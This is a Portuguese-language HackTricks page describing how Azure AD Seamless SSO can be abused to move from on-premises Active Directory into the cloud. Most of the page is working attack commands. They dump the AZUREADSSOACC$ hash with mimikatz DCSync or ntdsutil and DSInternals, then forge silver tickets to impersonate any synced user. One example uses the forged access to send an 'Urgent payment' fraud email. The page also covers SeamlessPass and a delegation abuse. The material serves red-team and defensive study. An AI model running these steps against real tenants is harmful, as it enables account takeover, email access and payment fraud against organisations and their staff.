Az - Seamless SSO
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Dos documentos: O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) loga automaticamente os usuários quando estão em seus dispositivos corporativos conectados à sua rede corporativa. Quando ativado, os usuários não precisam digitar suas senhas para fazer login no Azure AD, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Basicamente, o Azure AD Seamless SSO loga os usuários quando estão em um PC conectado ao domínio on-prem.
É suportado tanto por PHS (Password Hash Sync) quanto por PTA (Pass-through Authentication).
O SSO de desktop usa Kerberos para autenticação. Quando configurado, o Azure AD Connect cria uma conta de computador chamada AZUREADSSOACC$
no AD on-prem. A senha da conta AZUREADSSOACC$
é enviada em texto simples para o Azure AD durante a configuração.
Os tickets Kerberos são criptografados usando o NTHash (MD4) da senha e o Azure AD usa a senha enviada para descriptografar os tickets.
Azure AD expõe um endpoint (https://autologon.microsoftazuread-sso.com) que aceita tickets Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
On-prem -> nuvem
A senha do usuário AZUREADSSOACC$
nunca muda. Portanto, um administrador de domínio poderia comprometer o hash desta conta, e então usá-lo para criar silver tickets para se conectar ao Azure com qualquer usuário on-prem sincronizado:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Com o hash, você agora pode gerar tickets silver:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Para utilizar o silver ticket, os seguintes passos devem ser executados:
- Iniciar o Navegador: O Mozilla Firefox deve ser iniciado.
- Configurar o Navegador:
- Navegue até
about:config
. - Defina a preferência para network.negotiate-auth.trusted-uris para os valores especificados:
https://aadg.windows.net.nsatc.net
https://autologon.microsoftazuread-sso.com
- Acessar a Aplicação Web:
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é Office 365.
- Processo de Autenticação:
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
- Para prosseguir, pressione TAB ou ENTER.
tip
Isso não contorna o MFA se estiver habilitado
Opção 2 sem dcsync - SeamlessPass
Também é possível realizar este ataque sem um ataque dcsync para ser mais furtivo, como explicado neste post do blog. Para isso, você só precisa de um dos seguintes:
- Um TGT de usuário comprometido: Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas, como Kekeo e Rubeus.
- Golden Ticket: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
- Hash NTLM ou chave AES de um usuário comprometido: O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT.
- Hash NTLM ou chave AES da conta AZUREADSSOACC$: Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
Finalmente, com o TGT, é possível usar a ferramenta SeamlessPass com:
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser encontradas neste post do blog.
Criando tickets Kerberos para usuários apenas na nuvem
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem definir SID para qualquer usuário da nuvem. Dessa forma, os tickets Kerberos podem ser criados também para usuários apenas na nuvem. O único requisito é que o SID seja um SID.
caution
Alterar o SID de usuários administradores apenas na nuvem agora está bloqueado pela Microsoft.
Para mais informações, consulte https://aadinternals.com/post/on-prem_admin/
On-prem -> Nuvem via Delegação Constrained Baseada em Recurso
Qualquer pessoa que possa gerenciar contas de computador (AZUREADSSOACC$
) no contêiner ou OU em que essa conta está, pode configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la.
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
Referências
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando o Azure AD via Active Directory
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.